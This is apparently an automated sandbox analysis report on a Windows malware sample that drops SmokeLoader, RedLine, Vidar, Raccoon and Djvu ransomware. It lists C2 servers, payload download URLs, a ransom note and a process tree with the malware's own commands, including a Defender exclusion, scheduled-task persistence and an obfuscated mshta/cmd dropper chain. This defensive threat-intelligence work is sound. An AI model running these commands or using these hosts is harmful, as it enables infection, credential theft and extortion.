Analysis

  • max time kernel
    151s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    29/10/2021, 00:58

General

  • Target
    d26fb8270e414d94dcfce307894984b0.exe
  • Size 170KB
  • Sample211029-bbh49ahbdj
  • SHA256 ff2ac01bceeacfb50486d9ec87bcfce8523b341530a4a7b9a7bbb804c882ad41
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://xacokuo8.top/

  • http://hajezey1.top/

  • http://nusurtal4f.net/

  • http://netomishnetojuk.net/

  • http://escalivrouter.net/

  • http://nick22doom4.net/

  • http://wrioshtivsio.su/

  • http://nusotiso4.su/

  • http://rickkhtovkka.biz/

  • http://palisotoliso.net/

  • http://193.56.146.214/

  • https://193.56.146.214/

rc4.i32
rc4.i32
rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • 21321313

C2
  • 93.115.20.139:28978

Extracted

Family
  • redline

Botnet
  • SafeInstaller

C2
  • 185.183.32.161:80

Extracted

Family
  • vidar

Version
  • 41.6

Botnet
  • 754

C2
  • https://mas.to/@lilocc

Attributes
  • profile_id

    754

Extracted

Family
  • raccoon

Botnet
  • 68e2d75238f7c69859792d206401b6bde2b2515c

Attributes
  • url4cnc

    http://telegalive.top/agrybirdsgamerept

    http://toptelete.top/agrybirdsgamerept

    http://telegraf.top/agrybirdsgamerept

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family
  • redline

Botnet
  • z0rm1on

C2
  • 185.215.113.94:15564

Extracted

Family
  • djvu

C2
  • http://rlrz.org/lancer/get.php

Attributes
  • extension

    .rivd

  • offline_id

    WbO7bkwHxaepEmevfYYUBNgcxNJGpd7hoNKokRt1

  • payload_url

    http://znpst.top/dl/build2.exe

    http://rlrz.org/files/1/build3.exe

  • ransomnote

    ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-CcXGxzXf71 Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0342gSd743d

rsa_pubkey.plain

Extracted

Family
  • vidar

Version
  • 41.6

Botnet
  • 706

C2
  • https://mas.to/@lilocc

Attributes
  • profile_id

    706

Extracted

Family
  • raccoon

Botnet
  • 9b47742e621d3b0f1b0b79db6ed26e2c33328c05

Attributes
  • url4cnc

    http://telegalive.top/ustavshiy1

    http://toptelete.top/ustavshiy1

    http://telegraf.top/ustavshiy1

    https://t.me/ustavshiy1

rc4.plain
rc4.plain

Extracted

Family
  • vidar

Version
  • 41.5

Botnet
  • 517

C2
  • https://mas.to/@xeroxxx

Attributes
  • profile_id

    517

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Detected Djvu ransomware 6 IoCs
  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • Arkei Stealer Payload 4 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 7 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 33 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 12 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 4 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies registry class 7 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d26fb8270e414d94dcfce307894984b0.exe
    "C:\Users\Admin\AppData\Local\Temp\d26fb8270e414d94dcfce307894984b0.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2720
    • C:\Users\Admin\AppData\Local\Temp\d26fb8270e414d94dcfce307894984b0.exe
      "C:\Users\Admin\AppData\Local\Temp\d26fb8270e414d94dcfce307894984b0.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3740
  • C:\Users\Admin\AppData\Local\Temp\174D.exe
    C:\Users\Admin\AppData\Local\Temp\174D.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3412
    • C:\Users\Admin\AppData\Local\Temp\174D.exe
      C:\Users\Admin\AppData\Local\Temp\174D.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:2676
  • C:\Users\Admin\AppData\Local\Temp\1C9D.exe
    C:\Users\Admin\AppData\Local\Temp\1C9D.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:3996
  • C:\Users\Admin\AppData\Local\Temp\1E63.exe
    C:\Users\Admin\AppData\Local\Temp\1E63.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:2196
  • C:\Users\Admin\AppData\Local\Temp\221D.exe
    C:\Users\Admin\AppData\Local\Temp\221D.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im 221D.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\221D.exe" & del C:\ProgramData\*.dll & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:584
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /im 221D.exe /f
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3184
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 6
        3⤵
        • Delays execution with timeout.exe
        PID:3156
  • C:\Users\Admin\AppData\Local\Temp\2D88.exe
    C:\Users\Admin\AppData\Local\Temp\2D88.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:1284
  • C:\Users\Admin\AppData\Local\Temp\41FC.exe
    C:\Users\Admin\AppData\Local\Temp\41FC.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Loads dropped DLL
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Checks processor information in registry
    • Modifies registry class
    PID:1992
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\41FC.exe" & exit
      2⤵
        PID:4256
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          3⤵
          • Delays execution with timeout.exe
          PID:4388
    • C:\Users\Admin\AppData\Local\Temp\475C.exe
      C:\Users\Admin\AppData\Local\Temp\475C.exe
      1⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1960
    • C:\Users\Admin\AppData\Local\Temp\4D0A.exe
      C:\Users\Admin\AppData\Local\Temp\4D0A.exe
      1⤵
      • Executes dropped EXE
      PID:2436
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2436 -s 796
        2⤵
        • Suspicious use of NtCreateProcessExOtherParentProcess
        • Program crash
        • Suspicious use of AdjustPrivilegeToken
        PID:2540
    • C:\Windows\system32\OpenWith.exe
      C:\Windows\system32\OpenWith.exe -Embedding
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:3840
    • C:\Windows\system32\OpenWith.exe
      C:\Windows\system32\OpenWith.exe -Embedding
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:364
    • C:\Windows\system32\OpenWith.exe
      C:\Windows\system32\OpenWith.exe -Embedding
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1620
    • C:\Users\Admin\AppData\Local\Temp\C141.exe
      C:\Users\Admin\AppData\Local\Temp\C141.exe
      1⤵
      • Executes dropped EXE
      PID:2068
      • C:\Users\Admin\AppData\Local\Temp\C141.exe
        C:\Users\Admin\AppData\Local\Temp\C141.exe
        2⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Modifies system certificate store
        PID:1340
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Users\Admin\AppData\Local\780a4d6d-5fae-43ac-ae4f-4ce6cda6ba3f" /deny *S-1-1-0:(OI)(CI)(DE,DC)
          3⤵
          • Modifies file permissions
          PID:1436
        • C:\Users\Admin\AppData\Local\Temp\C141.exe
          "C:\Users\Admin\AppData\Local\Temp\C141.exe" --Admin IsNotAutoStart IsNotTask
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          PID:4516
          • C:\Users\Admin\AppData\Local\Temp\C141.exe
            "C:\Users\Admin\AppData\Local\Temp\C141.exe" --Admin IsNotAutoStart IsNotTask
            4⤵
            • Executes dropped EXE
            PID:4740
            • C:\Users\Admin\AppData\Local\45cc59c8-dceb-419a-968e-9b0f27eab097\build2.exe
              "C:\Users\Admin\AppData\Local\45cc59c8-dceb-419a-968e-9b0f27eab097\build2.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              PID:4984
              • C:\Users\Admin\AppData\Local\45cc59c8-dceb-419a-968e-9b0f27eab097\build2.exe
                "C:\Users\Admin\AppData\Local\45cc59c8-dceb-419a-968e-9b0f27eab097\build2.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                PID:5068
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\45cc59c8-dceb-419a-968e-9b0f27eab097\build2.exe" & del C:\ProgramData\*.dll & exit
                  7⤵
                    PID:2068
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /im build2.exe /f
                      8⤵
                      • Kills process with taskkill
                      PID:592
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /t 6
                      8⤵
                      • Delays execution with timeout.exe
                      PID:1212
              • C:\Users\Admin\AppData\Local\45cc59c8-dceb-419a-968e-9b0f27eab097\build3.exe
                "C:\Users\Admin\AppData\Local\45cc59c8-dceb-419a-968e-9b0f27eab097\build3.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:5048
                • C:\Users\Admin\AppData\Local\45cc59c8-dceb-419a-968e-9b0f27eab097\build3.exe
                  "C:\Users\Admin\AppData\Local\45cc59c8-dceb-419a-968e-9b0f27eab097\build3.exe"
                  6⤵
                  • Executes dropped EXE
                  PID:5104
                  • C:\Windows\SysWOW64\schtasks.exe
                    /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
                    7⤵
                    • Creates scheduled task(s)
                    PID:4100
      • C:\Users\Admin\AppData\Local\Temp\C49D.exe
        C:\Users\Admin\AppData\Local\Temp\C49D.exe
        1⤵
        • Executes dropped EXE
        PID:2736
      • C:\Users\Admin\AppData\Local\Temp\C72E.exe
        C:\Users\Admin\AppData\Local\Temp\C72E.exe
        1⤵
        • Executes dropped EXE
        PID:4088
      • C:\Windows\system32\OpenWith.exe
        C:\Windows\system32\OpenWith.exe -Embedding
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:3596
      • C:\Users\Admin\AppData\Local\Temp\CAE8.exe
        C:\Users\Admin\AppData\Local\Temp\CAE8.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        PID:1628
        • C:\Users\Admin\AppData\Local\Temp\CAE8.exe
          C:\Users\Admin\AppData\Local\Temp\CAE8.exe
          2⤵
          • Executes dropped EXE
          PID:4940
      • C:\Users\Admin\AppData\Local\Temp\CD1C.exe
        C:\Users\Admin\AppData\Local\Temp\CD1C.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        PID:660
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\CD1C.exe"
          2⤵
            PID:692
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\WpjDtEr" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6FB9.tmp"
            2⤵
            • Creates scheduled task(s)
            PID:3952
          • C:\Users\Admin\AppData\Local\Temp\CD1C.exe
            "C:\Users\Admin\AppData\Local\Temp\CD1C.exe"
            2⤵
            • Executes dropped EXE
            PID:3848
          • C:\Users\Admin\AppData\Local\Temp\CD1C.exe
            "C:\Users\Admin\AppData\Local\Temp\CD1C.exe"
            2⤵
            • Executes dropped EXE
            PID:2212
            • C:\Windows\SysWOW64\schtasks.exe
              /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
              3⤵
              • Creates scheduled task(s)
              PID:4224
        • C:\Users\Admin\AppData\Local\Temp\CDF8.exe
          C:\Users\Admin\AppData\Local\Temp\CDF8.exe
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          PID:1232
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c taskkill /im CDF8.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\CDF8.exe" & del C:\ProgramData\*.dll & exit
            2⤵
              PID:4648
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /im CDF8.exe /f
                3⤵
                • Kills process with taskkill
                PID:4700
              • C:\Windows\SysWOW64\timeout.exe
                timeout /t 6
                3⤵
                • Delays execution with timeout.exe
                PID:4808
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
            • Accesses Microsoft Outlook profiles
            • outlook_office_path
            • outlook_win_path
            PID:1688
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            1⤵
              PID:1288
            • C:\Users\Admin\AppData\Local\Temp\D5A9.exe
              C:\Users\Admin\AppData\Local\Temp\D5A9.exe
              1⤵
              • Executes dropped EXE
              PID:2272
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\System32\mshta.exe" vbScrIPt: cLOSe ( CREatEobject ( "wScRIpT.sHELl" ). rUn( "cMd.EXE /R TyPe ""C:\Users\Admin\AppData\Local\Temp\D5A9.exe"" > ..\ZKCbTpK7A3JBN7.Exe && sTarT ..\ZKCBTpK7A3JBN7.Exe -pY5zHWO88aeG5mf~ & iF """" == """" for %u In ( ""C:\Users\Admin\AppData\Local\Temp\D5A9.exe"" ) do taskkill /f /IM ""%~Nxu"" " , 0 , TruE ) )
                2⤵
                  PID:3952
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /R TyPe "C:\Users\Admin\AppData\Local\Temp\D5A9.exe"> ..\ZKCbTpK7A3JBN7.Exe && sTarT ..\ZKCBTpK7A3JBN7.Exe -pY5zHWO88aeG5mf~& iF "" == "" for %u In ( "C:\Users\Admin\AppData\Local\Temp\D5A9.exe" ) do taskkill /f /IM "%~Nxu"
                    3⤵
                      PID:3036
                      • C:\Users\Admin\AppData\Local\Temp\ZKCbTpK7A3JBN7.Exe
                        ..\ZKCBTpK7A3JBN7.Exe -pY5zHWO88aeG5mf~
                        4⤵
                        • Executes dropped EXE
                        PID:2832
                        • C:\Windows\SysWOW64\mshta.exe
                          "C:\Windows\System32\mshta.exe" vbScrIPt: cLOSe ( CREatEobject ( "wScRIpT.sHELl" ). rUn( "cMd.EXE /R TyPe ""C:\Users\Admin\AppData\Local\Temp\ZKCbTpK7A3JBN7.Exe"" > ..\ZKCbTpK7A3JBN7.Exe && sTarT ..\ZKCBTpK7A3JBN7.Exe -pY5zHWO88aeG5mf~ & iF ""-pY5zHWO88aeG5mf~"" == """" for %u In ( ""C:\Users\Admin\AppData\Local\Temp\ZKCbTpK7A3JBN7.Exe"" ) do taskkill /f /IM ""%~Nxu"" " , 0 , TruE ) )
                          5⤵
                            PID:1368
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /R TyPe "C:\Users\Admin\AppData\Local\Temp\ZKCbTpK7A3JBN7.Exe"> ..\ZKCbTpK7A3JBN7.Exe && sTarT ..\ZKCBTpK7A3JBN7.Exe -pY5zHWO88aeG5mf~& iF "-pY5zHWO88aeG5mf~" == "" for %u In ( "C:\Users\Admin\AppData\Local\Temp\ZKCbTpK7A3JBN7.Exe" ) do taskkill /f /IM "%~Nxu"
                              6⤵
                              • Suspicious use of SetThreadContext
                              PID:2068
                          • C:\Windows\SysWOW64\mshta.exe
                            "C:\Windows\System32\mshta.exe" VbScRiPT:CLoSE( cREAtEobjeCt ( "WSCript.ShELl" ). RUN ( "cMd /r Echo qC:\Users\Admin\AppData\Local\Temp2> 14D1NGPZ.HtL & echo | sET /P = ""MZ"" > 1RUAja8.A & copy /B /y 1RUAjA8.A + gml5ZY.r + iBQUrVK._A~ + THUkMJIe.RI +14D1NGPZ.htL ..\JB7EK7T.QBW & Start msiexec.exe /y ..\Jb7Ek7T.qBW & DEL /q * " , 0 , truE ))
                            5⤵
                              PID:4232
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /r Echo qC:\Users\Admin\AppData\Local\Temp2> 14D1NGPZ.HtL& echo | sET /P = "MZ" >1RUAja8.A & copy /B /y 1RUAjA8.A +gml5ZY.r + iBQUrVK._A~ + THUkMJIe.RI+14D1NGPZ.htL ..\JB7EK7T.QBW & Start msiexec.exe /y ..\Jb7Ek7T.qBW& DEL /q *
                                6⤵
                                  PID:4336
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /S /D /c" echo "
                                    7⤵
                                      PID:4424
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" sET /P = "MZ" 1>1RUAja8.A"
                                      7⤵
                                        PID:4440
                                      • C:\Windows\SysWOW64\msiexec.exe
                                        msiexec.exe /y ..\Jb7Ek7T.qBW
                                        7⤵
                                        • Loads dropped DLL
                                        PID:4464
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /f /IM "D5A9.exe"
                                  4⤵
                                  • Kills process with taskkill
                                  PID:4084
                          • C:\Windows\SysWOW64\explorer.exe
                            C:\Windows\SysWOW64\explorer.exe
                            1⤵
                              PID:1336
                            • C:\Windows\SysWOW64\explorer.exe
                              C:\Windows\SysWOW64\explorer.exe
                              1⤵
                                PID:3676
                              • C:\Windows\system32\OpenWith.exe
                                C:\Windows\system32\OpenWith.exe -Embedding
                                1⤵
                                • Modifies registry class
                                • Suspicious use of SetWindowsHookEx
                                PID:2240
                              • C:\Windows\explorer.exe
                                C:\Windows\explorer.exe
                                1⤵
                                  PID:808
                                • C:\Windows\system32\OpenWith.exe
                                  C:\Windows\system32\OpenWith.exe -Embedding
                                  1⤵
                                  • Modifies registry class
                                  • Suspicious use of SetWindowsHookEx
                                  PID:2400
                                • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                  1⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  PID:1696
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                    2⤵
                                    • Executes dropped EXE
                                    PID:2480
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
                                      3⤵
                                      • Creates scheduled task(s)
                                      PID:2172
                                • C:\Users\Admin\AppData\Roaming\ustreeg
                                  C:\Users\Admin\AppData\Roaming\ustreeg
                                  1⤵
                                  • Executes dropped EXE
                                  PID:2716
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2716 -s 480
                                    2⤵
                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                    • Program crash
                                    PID:4084
                                • C:\Users\Admin\AppData\Roaming\ectreeg
                                  C:\Users\Admin\AppData\Roaming\ectreeg
                                  1⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  PID:1488
                                  • C:\Users\Admin\AppData\Roaming\ectreeg
                                    C:\Users\Admin\AppData\Roaming\ectreeg
                                    2⤵
                                    • Executes dropped EXE
                                    • Checks SCSI registry key(s)
                                    • Suspicious behavior: MapViewOfSection
                                    PID:2732
                                • C:\Users\Admin\AppData\Roaming\iatreeg
                                  C:\Users\Admin\AppData\Roaming\iatreeg
                                  1⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Checks SCSI registry key(s)
                                  • Suspicious behavior: MapViewOfSection
                                  PID:2596

                                Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

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                                      Downloads

                                      memory/660-252-0x0000000000C50000-0x0000000000C51000-memory.dmp

                                      memory/660-262-0x0000000005450000-0x000000000594E000-memory.dmp

                                      memory/660-266-0x0000000005660000-0x0000000005661000-memory.dmp

                                      memory/692-442-0x0000000007103000-0x0000000007104000-memory.dmp

                                      memory/692-403-0x0000000007100000-0x0000000007101000-memory.dmp

                                      memory/692-434-0x000000007E960000-0x000000007E961000-memory.dmp

                                      memory/692-409-0x0000000007102000-0x0000000007103000-memory.dmp

                                      memory/808-310-0x0000000000990000-0x000000000099D000-memory.dmp

                                      memory/808-309-0x00000000009A0000-0x00000000009A7000-memory.dmp

                                      memory/808-177-0x0000000000400000-0x0000000002F6F000-memory.dmp

                                      memory/808-167-0x0000000002F70000-0x00000000030BA000-memory.dmp

                                      memory/808-169-0x0000000004BB0000-0x0000000004C86000-memory.dmp

                                      memory/1232-321-0x0000000000400000-0x0000000002F67000-memory.dmp

                                      memory/1232-319-0x0000000002F70000-0x00000000030BA000-memory.dmp

                                      memory/1232-320-0x0000000003130000-0x0000000003206000-memory.dmp

                                      memory/1284-155-0x0000000000080000-0x0000000000081000-memory.dmp

                                      memory/1284-164-0x0000000004810000-0x000000000482E000-memory.dmp

                                      memory/1284-171-0x0000000005AB0000-0x0000000005AB1000-memory.dmp

                                      memory/1284-165-0x0000000004800000-0x0000000004801000-memory.dmp

                                      memory/1284-170-0x0000000005ED0000-0x0000000005ED1000-memory.dmp

                                      memory/1284-209-0x00000000085E0000-0x00000000085E1000-memory.dmp

                                      memory/1284-160-0x0000000002240000-0x0000000002243000-memory.dmp

                                      memory/1284-166-0x00000000049D0000-0x00000000049EA000-memory.dmp

                                      memory/1284-204-0x0000000008DA0000-0x0000000008DA1000-memory.dmp

                                      memory/1284-203-0x00000000086A0000-0x00000000086A1000-memory.dmp

                                      memory/1288-279-0x0000000001090000-0x000000000109C000-memory.dmp

                                      memory/1288-277-0x00000000010A0000-0x00000000010A7000-memory.dmp

                                      memory/1336-285-0x00000000034E0000-0x0000000003507000-memory.dmp

                                      memory/1336-284-0x0000000003510000-0x0000000003532000-memory.dmp

                                      memory/1340-298-0x0000000000400000-0x0000000000537000-memory.dmp

                                      memory/1628-261-0x0000000005010000-0x0000000005011000-memory.dmp

                                      memory/1628-243-0x00000000005D0000-0x00000000005D1000-memory.dmp

                                      memory/1688-267-0x0000000000800000-0x000000000086B000-memory.dmp

                                      memory/1688-264-0x0000000000870000-0x00000000008E4000-memory.dmp

                                      memory/1960-207-0x0000000000400000-0x0000000002EF0000-memory.dmp

                                      memory/1960-206-0x00000000001C0000-0x00000000001C9000-memory.dmp

                                      memory/1960-205-0x0000000000030000-0x0000000000038000-memory.dmp

                                      memory/1992-190-0x0000000001370000-0x0000000001828000-memory.dmp

                                      memory/1992-189-0x0000000001370000-0x0000000001828000-memory.dmp

                                      memory/1992-185-0x0000000077270000-0x00000000773FE000-memory.dmp

                                      memory/2068-283-0x0000000004960000-0x0000000004A7B000-memory.dmp

                                      memory/2196-156-0x0000000003060000-0x0000000003069000-memory.dmp

                                      memory/2196-153-0x0000000000400000-0x0000000002EFA000-memory.dmp

                                      memory/2196-151-0x0000000002F00000-0x000000000304A000-memory.dmp

                                      memory/2212-410-0x0000000000400000-0x0000000000406000-memory.dmp

                                      memory/2436-212-0x00000000047E0000-0x000000000486E000-memory.dmp

                                      memory/2436-217-0x0000000000400000-0x0000000002BED000-memory.dmp

                                      memory/2436-211-0x0000000002E58000-0x0000000002EA7000-memory.dmp

                                      memory/2596-665-0x0000000000400000-0x0000000002EFA000-memory.dmp

                                      memory/2596-663-0x0000000002FE0000-0x000000000312A000-memory.dmp

                                      memory/2596-664-0x0000000002FE0000-0x000000000312A000-memory.dmp

                                      memory/2716-666-0x0000000000400000-0x0000000002EF0000-memory.dmp

                                      memory/2720-115-0x0000000000030000-0x0000000000038000-memory.dmp

                                      memory/2720-116-0x00000000001C0000-0x00000000001C9000-memory.dmp

                                      memory/2736-282-0x0000000002F10000-0x000000000305A000-memory.dmp

                                      memory/2736-278-0x00000000001C0000-0x00000000001E2000-memory.dmp

                                      memory/2736-299-0x0000000000400000-0x0000000002F09000-memory.dmp

                                      memory/2736-300-0x0000000007680000-0x0000000007681000-memory.dmp

                                      memory/2736-306-0x0000000007684000-0x0000000007686000-memory.dmp

                                      memory/2736-303-0x0000000007683000-0x0000000007684000-memory.dmp

                                      memory/2736-302-0x0000000007682000-0x0000000007683000-memory.dmp

                                      memory/3020-214-0x00000000023F0000-0x0000000002406000-memory.dmp

                                      memory/3020-178-0x0000000002680000-0x0000000002696000-memory.dmp

                                      memory/3020-184-0x0000000002590000-0x00000000025A6000-memory.dmp

                                      memory/3020-119-0x0000000000520000-0x0000000000536000-memory.dmp

                                      memory/3020-667-0x00000000026C0000-0x00000000026D6000-memory.dmp

                                      memory/3412-141-0x0000000002BB0000-0x0000000002C5E000-memory.dmp

                                      memory/3676-304-0x00000000034F0000-0x00000000034F6000-memory.dmp

                                      memory/3676-305-0x00000000034E0000-0x00000000034EB000-memory.dmp

                                      memory/3740-117-0x0000000000400000-0x0000000000409000-memory.dmp

                                      memory/3996-145-0x0000000006400000-0x0000000006401000-memory.dmp

                                      memory/3996-142-0x0000000005080000-0x000000000509E000-memory.dmp

